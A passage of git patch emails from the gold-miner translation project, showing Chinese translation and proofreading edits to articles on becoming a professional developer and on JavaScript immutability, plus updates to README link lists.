+这是传授你所知道的一切的一个很好的方法。随着你学到的东西越来越多，你构建出自己的内容，并在这个期间成为一个更好的书写者。久而久之，你将在你的圈子被其他人视为权威人物。
 
-This will be invaluable both when it comes to finding a job and if you ever want to strike out on your own.
+无论在找工作或是自己单干方面，这都十分的有价值。
 
 #### 6. Build to solve problems ####
 

From f167c5b87da608496a7a3dcca232e07ecf13dcbb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 16:38:33 +0800
Subject: [PATCH 541/638] Update ios.md

---
 ios.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/ios.md b/ios.md
index 2c2fbc5a35d..a429bc5853d 100644
--- a/ios.md
+++ b/ios.md
@@ -1,3 +1,4 @@
+* [对元素持有弱引用的 Swift 数组](https://juejin.im/post/5927a34c0ce46300575a81e1?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhangqippp](https://github.com/zhangqippp) 翻译)
 * [在 Swift 中使用闭包实现懒加载](https://juejin.im/post/590a9eeab123db00549776ee/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [掌握 Swift 的字符串细节](https://juejin.im/post/58f822ff5c497d0058e0e427/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Tuccuay（洪朔）](https://github.com/Tuccuay)) 翻译)
 * [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)

From e3c6b618af6ecc877adcbf760645fb0bb1b89e8c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 16:39:02 +0800
Subject: [PATCH 542/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index a5d44a2a930..d77e8e52405 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [507](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [508](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -33,10 +33,10 @@
 
 ## iOS
 
+* [对元素持有弱引用的 Swift 数组](https://juejin.im/post/5927a34c0ce46300575a81e1?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhangqippp](https://github.com/zhangqippp) 翻译)
 * [在 Swift 中使用闭包实现懒加载](https://juejin.im/post/590a9eeab123db00549776ee/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [掌握 Swift 的字符串细节](https://juejin.im/post/58f822ff5c497d0058e0e427/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Tuccuay（洪朔）](https://github.com/Tuccuay)) 翻译)
 * [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
-* [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)
 * [所有 iOS 译文>>](https://github.com/xitu/gold-miner/blob/master/ios.md)
 
 ## 前端

From b96c38dc4fc54e0ae688a0e1fe3069c6329dcab2 Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Fri, 26 May 2017 16:59:53 +0800
Subject: [PATCH 543/638] part 6

---
 ...-from-hobbyist-to-professional-developer.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index b13cfdc3fe3..f5e4181c93a 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -224,23 +224,23 @@ Nathan Barry 是一个酷爱传授你已知知识的家伙。他讲过 CSS Trick
 
 无论在找工作或是自己单干方面，这都十分的有价值。
 
-#### 6. Build to solve problems ####
+#### 6. 为解决问题而开发 ####
 
-One of the most important aspects of becoming a professional developer is doing everything with a specific intention.
+做事有明确的意图是成为一个专业的程序员最重要的方面之一。
 
-It’s one thing to build random apps for fun, it’s another to build apps and sites that solve specific problems.
+为了乐趣随意开发应用是一回事，为了解决问题去开发应用和网站又是另外一回事。
 
-Web development shops aren’t really in the business of coding, they are in the business of solving problems. The coding is just their preferred tool to make that happen.
+电商本质其实不是程序开发，其本质是关于解决问题。代码只是他们首选的工具而已。
 
-Read any marketing or copywriting book and they will tell you to sell the benefits of your product, not the features.
+任何一本市场营销的书或文案都会告诉你去推销你的商品的优点而不是特点。
 
-Web developers should market their apps to show how they effectively solve a customer’s problems. And then back up their claims with specific metrics. Customers are generally more responsive to this approach than if the developers talk about the bleeding edge technologies they use.
+Web 开发人员应该通过展示他们如何有效地解决了用户的问题来推销他们的应用。然后用具体的指标来支撑他们的言论。客户通常对这种方式的介绍更感兴趣，而不是听开发者谈论他们使用的尖端技术。
 
-You will be a very attractive prospect for employers if you can demonstrate your programming skills as well as your ability to code with the specific intention of solving problems and making meaningful applications.
+如果你能够在展示编程技能的同时还展现出带有解决问题和生产有意义的应用的明确意图进行编程的能力，那么你将非常受雇主欢迎。
 
-Think about benefits vs features when you are communicating with potential employers or clients, and when writing the content for your site.
+当你与潜在雇主或是客户沟通时，以及在为你的网站编写内容时，请进行优势与功能这两方面的思考。
 
-Of course, you should also mention your coding proficiency, but most people spend all their time on this. Mention it briefly so potential employers know what you do. If you have a portfolio of effective applications, your coding skills will mostly speak for themselves.
+当然，你也应该提及你的编程熟练程度，但是大部分人在这个方面花了所有时间。简要地介绍一下好让潜在雇员知道你在做什么就可以了。如果你开发了一系列很有用的程序，那么它们将会为你的编程技能说话。
 
 #### 7. Take on an apprentice mindset ####
 

From bdb80d61970d7b6eed157613427948fee64c67c7 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Sun, 28 May 2017 00:53:59 +0800
Subject: [PATCH 544/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...by-leveraging-the-power-of-immutability.md | 32 +++++++++----------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index 656ce8b3170..ee60d8cbf0b 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -3,23 +3,23 @@
 > * 原文作者：[Guido Schmitz](https://medium.freecodecamp.com/@guidsen)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[gy134340](https://github.com/gy134340)
-> * 校对者：
+> * 校对者：[bambooom](https://github.com/bambooom),[xunge0613](https://github.com/xunge0613)
 
-# 利用“Immutability（不可变性）”编写更为简洁高效的代码
+# 利用「Immutability（不可变性）」编写更为简洁高效的代码
 
 ![](https://cdn-images-1.medium.com/max/2000/1*eO8-0-GT5ht8CR7TdK9knA.jpeg)
 
 图片来自[https://unsplash.com](https://unsplash.com)
 
-不可变性是函数式编程中的一部分，它允许你写更安全和简洁的代码。我将会通过一些 JavaScript 的例子来告诉你如何达到不可变性。
+不可变性是函数式编程中的一部分，它可以使你写出更安全更简洁的代码。我将会通过一些 JavaScript 的例子来告诉你如何达到不可变性。
 
 **根据维基（ [地址](https://en.wikipedia.org/wiki/Immutable_object) ）：**
 
-> 一个不可变对象（不能被改变的对象）是指在创建之后其状态不能被更改的对象，这与在创建之后可以被更改的可变对象（可以被改变的对象）相反。在某些情况下，一个对象的外部状态如果从外部看来是未不变的，那么即使它的一些内部属性更改了，仍被视为不可变对象。
+> 一个不可变对象（不能被改变的对象）是指在创建之后其状态不能被更改的对象，这与在创建之后可以被更改的可变对象（可以被改变的对象）相反。在某些情况下，一个对象的外部状态如果从外部看来没有变化，那么即使它的一些内部属性更改了，仍被视为不可变对象。
 
 ### 不可变的数组
 
-数组是抓住不可变性如何工作的一个要点。我们来看一下。
+数组是了解不可变性如何运作的一个很好的起点。我们来看一下。
 
 ```
 const arrayA = [1, 2, 3];
@@ -49,13 +49,13 @@ console.log(arrayB); // [1, 2, 3, 4, 5]
 
 这才是我们要的，代码不改变其它的值。
 
-记住：当使用 [push](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) 来给数组添加一个值时，你在**改变**这个数组，你想要避免值的改变因为这个可能会影响你代码里的其他部分。[slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 会返回一个复制的数组。
+记住：当使用 [push](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) 来给数组添加一个值时，你在**改变**这个数组，因为这样可能会影响代码里的其他部分，所以你想要避免使变量值发生改变。[slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 会返回一个复制的数组。
 
 ### 函数
 
-现在你知道了如何避免改变其它的值。那要怎样写“纯”的函数呢？纯洁性是指调用一个函数同时不会产生额外的影响和改变状态的函数属性。
+现在你知道了如何避免改变其它的值。那如何写「纯」的函数呢？纯函数是指不会产生任何副作用，也不会改变状态的函数。
 
-让我们看看一个函数，它利用了数组实例的相同原理。首先我们写一个会改变其它值的函数，然后我们将这个函数优化为“纯”函数。
+我们来看一个示例函数，其原理与前面数组示例的原理相同。首先我们写一个会改变其它值的函数，然后我们将这个函数优化为「纯」函数。
 
 ```
 const add = (arrayInput, value) => {
@@ -72,11 +72,11 @@ console.log(add(array, 4)); // [1, 2, 3, 4]
 console.log(add(array, 5)); // [1, 2, 3, 4, 5]
 ```
 
-所以再一次的，我们**改变**我们的输入来创建一个不可预测的函数。在函数式编程的世界里，有一个关于函数的铁律：**函数对于相同的输入应当返回相同的值。**
+于是我们又一次**改变**输入的变量的值，这使得这个函数变得不可预测。在函数式编程的世界里，有一个关于函数的铁律：**函数对于相同的输入应当返回相同的值。**
 
 上面的函数违反了这一规则，每次我们调用 **add** 方法，它都会改变**数组**变量导致结果不一样。
 
-让我们来看看怎样修改 **add** 函数的实现来使其不可变。
+让我们来看看怎样修改 **add** 函数来使其不可变。
 
 ```
 const add = (arrayInput, value) => {
@@ -99,10 +99,10 @@ const resultB = add(array, 5);
 console.log(resultB); // [1, 2, 3, 5]
 ```
 
-现在我们可以多次调用这个函数，然后根据相同的输入，获得相同的输出。这是因为我们不再改变 **array** 变量。我们把这个函数叫做“纯函数”。
+现在我们可以多次调用这个函数，且相同的输入获得相同的输出，与预期一致。这是因为我们不再改变 **array** 变量。我们把这个函数叫做“纯函数”。
 
 > **注意：**你还可以使用 **concat**，来代替 **slice** 和 **push**。
-> 那样就是：arrayInput.concat(value);
+> 即：arrayInput.concat(value);
 
 我们还可以使用 ES6 的[扩展语法](https://developer.mozilla.org/nl/docs/Web/JavaScript/Reference/Operators/Spread_operator)，来简化函数。
 
@@ -112,19 +112,19 @@ const add = (arrayInput, value) => […arrayInput, value];
 
 ### 并发
 
-NodeJS 的应用有一个叫并发的概念，并发的操作是指两个计算可以同时的进行而不用管另外的一个。如果有两个线程，第二个的计算不需要等待第一个的完成。
+NodeJS 的应用有一个叫并发的概念，并发操作是指两个计算可以同时的进行而不用管另外的一个。如果有两个线程，第二个计算不需要等待第一个完成即可开始。
 
 ![](https://cdn-images-1.medium.com/max/800/1*LS1VkNditQwYMJvtIPAhdg.png)
 
 可视化的并发操作
 
-NodeJS 用事件循环机制使并发成为可能。事件循环循环重复接收事件，并对每个事件添加监听。这个模型允许 NodeJS 的应用处理大规模的请求。如果你想学习更多，读一下[这篇关于事件循环的文章](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick)。
+NodeJS 用事件循环机制使并发成为可能。事件循环重复接收事件，并一次触发一个监听该事件的处理程序。这个模型允许 NodeJS 的应用处理大规模的请求。如果你想学习更多，读一下[这篇关于事件循环的文章](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick)。
 
-不可变性跟并发又有什么关系呢？由于多个操作可能并发的改变函数的作用域的值，这将会产生不可靠的输出和导致意向不到的结果。明确函数是否改变它作用域之外的值，因为这可能真的会很危险。
+不可变性跟并发又有什么关系呢？由于多个操作可能会并发地改变函数的作用域的值，这将会产生不可靠的输出和导致意想不到的结果。注意函数是否改变它作用域之外的值，因为这可能真的会很危险。
 
 ### 下一步
 
-不可变性是你学习函数式编程中重要的概念。你也许想了解一下由 Facebook 开发者写的 [ImmutableJS](https://facebook.github.io/immutable-js)，这一个库提供正确的不可变数据结构比如说 **Map**、**Set**、和 **List**。
+不可变性是学习函数式编程过程中的一个重要概念。你可以了解一下由 Facebook 开发者写的 [ImmutableJS](https://facebook.github.io/immutable-js)，这一个库提供一些不可变的数据结构，比如说 **Map**、**Set**、和 **List**。
 
 [![](http://i2.muimg.com/1949/d4d40e047da813b5.png)](https://medium.com/@dtinth/immutable-js-persistent-data-structures-and-structural-sharing-6d163fbd73d2)
 

From 571143079a240f3f94eb96aee7a5b243d6f30521 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Sun, 28 May 2017 00:56:29 +0800
Subject: [PATCH 545/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-and-cleaner-code-by-leveraging-the-power-of-immutability.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index ee60d8cbf0b..20baf1b1612 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -5,7 +5,7 @@
 > * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：[bambooom](https://github.com/bambooom),[xunge0613](https://github.com/xunge0613)
 
-# 利用「Immutability（不可变性）」编写更为简洁高效的代码
+# 利用 Immutability（不可变性）编写更为简洁高效的代码
 
 ![](https://cdn-images-1.medium.com/max/2000/1*eO8-0-GT5ht8CR7TdK9knA.jpeg)
 

From 45fcfa73c10324b94bd6f8cf0cd08710b4baf2a0 Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Sun, 28 May 2017 15:13:10 +0800
Subject: [PATCH 546/638] part 7

---
 ...from-hobbyist-to-professional-developer.md | 26 +++++++++----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index f5e4181c93a..d06cf3b97f2 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -242,31 +242,31 @@ Web 开发人员应该通过展示他们如何有效地解决了用户的问题
 
 当然，你也应该提及你的编程熟练程度，但是大部分人在这个方面花了所有时间。简要地介绍一下好让潜在雇员知道你在做什么就可以了。如果你开发了一系列很有用的程序，那么它们将会为你的编程技能说话。
 
-#### 7. Take on an apprentice mindset ####
+#### 7. 采取学徒心态 ####
 
-The day you think you have mastered something is the day you stop learning.
+你认为你掌握技能的那一天便是你停止学习的一天。
 
-Adopt the mindset of a lifelong apprentice. There is always more to learn and always more to improve on.
+养成终生学习的观念。总是有更多的东西去学习，有更大的空间去进步。
 
-This is especially important in the early stages of your career. If you get a part time job or internship or land a role as a junior developer, you need to immediately get in the mindset of learning and growing as much as possible.
+这在你早期的职业生涯相当重要。如果你兼职或实习或担任初级开发人员，你需要尽可能快速进入学习和成长状态。
 
-You should really be doing this right away, even before you have an actual ‘mentor’.
+你真的应该马上这么做，即使你还没有一个真实的“导师”。
 
-In his book, [The Art of Work](https://www.amazon.com/Art-Work-Proven-Discovering-Meant/dp/0718022076), Jeff Goins talks about the 21st century version of the apprentice-master relationship.
+在[工作的艺术](https://www.amazon.com/Art-Work-Proven-Discovering-Meant/dp/0718022076)这本书中，Jeff Goins 谈论了二十一世纪的师徒关系。
 
-Back in medieval times, the relationship was very formal. A master would take on an apprentice for years, and they would slowly start to master their craft until they reached the title of master, at which point they would take on an apprentice.
+回到中世纪，这种关系非常正式。大师会带一个徒弟多年，直到徒弟慢慢地掌握手艺达到大师的头衔，那时他们就可以收自己的徒弟了。
 
-The relationship has changed, but it is still very important to consider yourself an apprentice. The main difference is that now you have to keep an eye out for potential mentors and learning opportunities, and there will be many throughout your journey.
+虽然这种关系已经发生了改变，但是将自己视为一个学徒仍然十分重要。有所不同是的是现在你需要自己关注潜在的导师和学习机遇，他们遍布你的征途。
 
-In the world of web development, we constantly on the internet, so this can come in various forms.
+在 Web 开发的世界里，我们经常上网，所以学习形式多种多样。
 
-Books, tutorials, courses, forums, and other forms of learning are all valuable. I think, however, the most valuable form of apprenticeship comes from learning from someone who is currently in the position you want to be in.
+书本，教程，课程，专题讨论会以及其他形式的学习都是十分有价值的。但是我觉得最有价值的学习形式是从你想成为的人身上学习。
 
-This is why it is so important to be eager and willing to learn. Getting your first development job is not the end of the journey, it’s the beginning.
+这就是为什么乐意并热切地去学习是这么的重要。得到了你的第一份开发工作不是征途的结束，而只是开始。
 
-That is when you will really start learning and exponentially growing your knowledge.
+当采取了学徒心态你将真正开始学习并且呈几何级数地增长你的知识。
 
-#### 8. Learn to collaborate ####
+#### 8. 学会合作 ####
 
 One of the biggest differences between coding as a hobby and coding for a living is learning to collaborate with people.
 

From 700dd6099327d920c3e2d26f37d0f9437a91b0d5 Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Sun, 28 May 2017 16:45:37 +0800
Subject: [PATCH 547/638] last part

---
 ...from-hobbyist-to-professional-developer.md | 36 +++++++++----------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index d06cf3b97f2..f17ae77591a 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -268,41 +268,41 @@ Web 开发人员应该通过展示他们如何有效地解决了用户的问题
 
 #### 8. 学会合作 ####
 
-One of the biggest differences between coding as a hobby and coding for a living is learning to collaborate with people.
+将编程作为兴趣和以编程为生之间的最大差别就是你需要学会与他人合作。
 
-You’ll need to interact and work with peers, bosses, colleagues, clients, partner companies, and all kinds of personalities throughout your career.
+你需要与同辈、老板、同事、客户、合作工作沟通和合作，并且在你的职业生涯中你会遇到形形色色的人。
 
-Learning how to effectively work with other people is important.
+学会如果与他人有效地合作是十分重要的。
 
-In the field of web development, communication is key. When a company comes in and tells you what they want, and you aren’t clear about exactly what that looks like, it can cause a lot of problems and headaches in the future.
+在 Web 开发领域，沟通是关键。当一个公司向你们表达自己所需时，如果你们对他们所表述的东西不清楚会给未来的工作带来很多头疼的问题。
 
-Likewise, if you can’t communicate with the people you work with, your work will suffer and you won’t be able to do your job as well.
+同样的，如果你不能与同你一起工作的人们良好地沟通，你的工作也将遭遇很多问题并无法完成。
 
-While you’re still learning, there are a few great ways to do this.
+如果你还在学习的话，我这里倒是有几个不错的意见可以给你。
 
-Part of this will come when you start teaching everything you know. People will interact with you, sometimes negatively, and you’ll learn how to deal with those situations.
+当你开始传授你所知道的知识时可能就会遇到这些问题。人们将与你进行交互，有时候这些交互是负面的，你需要学会如何去处理这种情况。
 
-I also highly recommend contributing to open source projects. This gives you a taste of what it is like to collaborate on a project where different people may have different ideas on the best way to do things.
+我还十分推荐给开源项目做贡献。你将收获在一个项目中与带有不同观点的人们合作的体验。
 
-Contributing to open source projects can be intimidating, but it will do wonders for your development career.
+参与开源项目的确是一件令人胆怯的事情，但是它会给你的开发生涯创造奇迹。
 
-[Check out this site to get started.](http://www.firsttimersonly.com/)
+[看看这个网站然后开始](http://www.firsttimersonly.com/)
 
-### Get out there and make a living ###
+### 动身去以此谋生 ###
 
-Being a web developer is hard. It means a life of non-stop learning and adapting to new technologies. It’s one of those careers where you need to be well-versed in not only technology, but business and communication as well.
+成为一个 Web 开发者是困难的。意味着你的一生需要永不止步地学习和不断接受新的事物。它是一个不仅需要精通技术还需要了解业务和沟通的职业。
 
-It’s an extremely rewarding path. You get to make things that solve people’s problems and make their lives easier, while making a fantastic living at the same time.
+成为一个 Web 开发者还是一条非常有利的道路。你将制造产品来解决人们的问题，使他们的生活更加便利，同时你将拥有非常棒的生计。
 
-There are countless resources to help you learn to code, [many of them completely free](http://freecodecamp.com/), but there seems to be a lack of resources helping people make that transition into professional developer.
+帮助你去学习编程的资源有很多，[他们大多数还是完全免费的](http://freecodecamp.com/)，但是帮助人们转变成为专业的开发人员的资料却很少。
 
-I hope this short guide provided a good road map for you to get started becoming a professional developer.
+我希望这个简短的指导可以为你指明一条好的道路以帮助你成为一个专业的开发者。
 
-Remember, nothing will happen unless you take action. Build a simple portfolio website, email a few potential employers, write some posts on Medium. Just start doing something.
+记住，如果你不采取行动什么都不会发生。搭建一个简单的个人站点，给一些潜在的雇主发邮件，在 Medium 上发表一些文章。反正就是要开始有所行动。
 
-The more you put yourself out there, and the more you do, the sooner you’ll make the shift from amateur to professional.
+你越展示自己，做得越多，那么你将越快从业余爱好者成长成为一位专业人士。
 
-I’m considering running a live workshop teaching developers how they can make the transition from hobbyist to professional. If that sounds like something you’d enjoy. You can enter your email below to let me know you’re interested and be the first to hear about it.
+我正在考虑开设一个在线研讨班教开发者如何从业余爱好者成长成为专业人士。如果你对此有兴趣，可以在下方留下你的邮箱地址让我知道并且我将为你们提供第一手资料。
 
 ---
 

From 5b46d23b44baa4312adbae5d01e8010a42f6ff4e Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Sun, 28 May 2017 17:43:33 +0800
Subject: [PATCH 548/638] review

---
 ...from-hobbyist-to-professional-developer.md | 30 +++++++++----------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index f17ae77591a..7ecf00d4f8d 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -12,7 +12,7 @@
 
 我有许多想法，却毫无方向。在那段时间里，我开始自学编程。起初这只是一个爱好。我觉得仅靠自己的大脑和代码去创造东西是一件很酷的事。
 
-逐渐地我开始思考生活前进的方向，并视其为一个有可能的生活方式。
+逐渐地我开始思考生活前进的方向，并视以编程为生为一个有可能的生活方式。
 
 一开始，我也只是随便想想而已。我负担不起现代教育的费用。我早就已经因为钱的原因而辍学了，如果要修计算机科学专业，我必须重新开始。
 
@@ -86,7 +86,7 @@
 
 当然，我获得那份工作有运气的成分在，但是如果我没有下定决心去自学开发那么有运气也是没用的。之后我果断地决定去申请这份工作。 :TOBECONFIRMED
 
-运气的确有一定的作用，但是凡事全靠运气确实不对的。要想自己更加好运，你就应该更加投入于你所做的事情。 :TOBECONFIRMED
+运气的确有一定的作用，但是凡事全靠运气却是不对的。要想自己更加好运，你就应该更加投入于你所做的事情。 :TOBECONFIRMED
 
 但是好运并不会眷顾胸无大志之人。
 
@@ -100,7 +100,7 @@
 
 这是一个陷阱！你可以忽视本文的其他观点，但请记住一点：
 
-**成为一个专业的程序员最重要的一点就是坚持。持之以恒决不放弃直到作品完成**
+**成为一个专业的程序员最重要的一点就是坚持。持之以恒决不放弃直到作品完成。**
 
 这句话到处适用。
 
@@ -144,13 +144,13 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 你会遇到很多问题，举步维艰。这很好，这时候我们学到的东西最多。
 
-开始做点小程序来解决问题，这点我会在下面的第六点详细讨论。
+开始做点小东西来解决问题，这个我会在下面的第六点详细讨论。
 
 #### 4. 创建一个线上身份 ####
 
 一旦你开始做点小项目，你会需要创建一个线上的身份。拥有自己的 GitHub 账户是一个不错的开始。
 
-在这里，你可以放置你正在着手的项目，并与全世界的人分享。
+你可以在这里放置你正在着手的项目，并与全世界的人分享。
 
 如果你想要的不止如此。那么我推荐你创建一个个人网站。
 
@@ -160,9 +160,9 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 2. 它是一个可以展示你作品的地方
 3. 它将成为你的舞台
 
-最后一点十分重要。一旦你开始做项目，你就应该立即开始记录他们。开始一个简单的博客去分享你正在做的事情并且传授你所知道的一切。
+最后一点十分重要。一旦你开始做项目，你就应该立即开始记录他们。开始用一个简单的博客去分享你正在做的事情并且传授你所知道的一切。
 
-这是一个向潜在雇主展示你身份和能力的最好方法之一。它可以让大家看到你，并且过程中你也将构建出属于你自己的平台。
+这是向潜在雇主展示你身份和能力的最好方法之一。它可以让大家看到你，并且过程中你也将构建出属于你自己的平台。
 
 这可以带来工作机会和在写书或者自由职业方面获得额外收入的可能。
 
@@ -202,7 +202,7 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 #### 5. 开始传授你会的一切知识 ####
 
-Nathan Barry 是一个酷爱传授你已知知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。
+Nathan Barry 是一个酷爱传授已知知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。
 
 这个网站一开始是 Chris 用来公开记录一些他在学习的东西以便他人借鉴。现在它已经是最大的 Web 开发站点之一。
 
@@ -210,7 +210,7 @@ Nathan Barry 是一个酷爱传授你已知知识的家伙。他讲过 CSS Trick
 
 在网络商业的世界中，有一个相对专家的概念。这个概念是说每个人相对于别人在某一个特定方面都是专家。 :TOBECONFIRMED
 
-我对此存有疑虑，特别是有人用其来为推销某些不应该被卖出去的东西这一行为做辩解。这只是一个有用的类比。 :TOBECONFIRMED
+我对此存有疑虑，特别是有人用其来为推销某些不应该被卖出去的东西这一行为做辩解的时候。这只是一个有用的类比。 :TOBECONFIRMED
 
 困扰我的是使用专家一词。我不认为传授你知道的东西有什么问题，你甚至可以向需要的人们贩卖这些知识。
 
@@ -232,7 +232,7 @@ Nathan Barry 是一个酷爱传授你已知知识的家伙。他讲过 CSS Trick
 
 电商本质其实不是程序开发，其本质是关于解决问题。代码只是他们首选的工具而已。
 
-任何一本市场营销的书或文案都会告诉你去推销你的商品的优点而不是特点。
+任何一本市场营销的书或文案都会告诉你去推销你商品的优点而不是特点。
 
 Web 开发人员应该通过展示他们如何有效地解决了用户的问题来推销他们的应用。然后用具体的指标来支撑他们的言论。客户通常对这种方式的介绍更感兴趣，而不是听开发者谈论他们使用的尖端技术。
 
@@ -270,19 +270,19 @@ Web 开发人员应该通过展示他们如何有效地解决了用户的问题
 
 将编程作为兴趣和以编程为生之间的最大差别就是你需要学会与他人合作。
 
-你需要与同辈、老板、同事、客户、合作工作沟通和合作，并且在你的职业生涯中你会遇到形形色色的人。
+你需要与同辈、老板、同事、客户、合作公司沟通和合作，并且在你的职业生涯中你会遇到形形色色的人。
 
-学会如果与他人有效地合作是十分重要的。
+学会如何与他人有效地合作是十分重要的。
 
-在 Web 开发领域，沟通是关键。当一个公司向你们表达自己所需时，如果你们对他们所表述的东西不清楚会给未来的工作带来很多头疼的问题。
+在 Web 开发领域，沟通是关键。当一个公司向你们表达自己所需时，如果你对他们所表述的东西不清楚会给未来的工作带来很多头疼的问题。
 
 同样的，如果你不能与同你一起工作的人们良好地沟通，你的工作也将遭遇很多问题并无法完成。
 
-如果你还在学习的话，我这里倒是有几个不错的意见可以给你。
+如果你还在学习的话，我这里倒是有几个不错的建议可以给你。
 
 当你开始传授你所知道的知识时可能就会遇到这些问题。人们将与你进行交互，有时候这些交互是负面的，你需要学会如何去处理这种情况。
 
-我还十分推荐给开源项目做贡献。你将收获在一个项目中与带有不同观点的人们合作的体验。
+我还十分推荐大家去给开源项目做贡献。你将收获在一个项目中与带有不同观点的人们合作的体验。
 
 参与开源项目的确是一件令人胆怯的事情，但是它会给你的开发生涯创造奇迹。
 

From c7d96e80ac7713d56a8414a882267350c53dafb9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
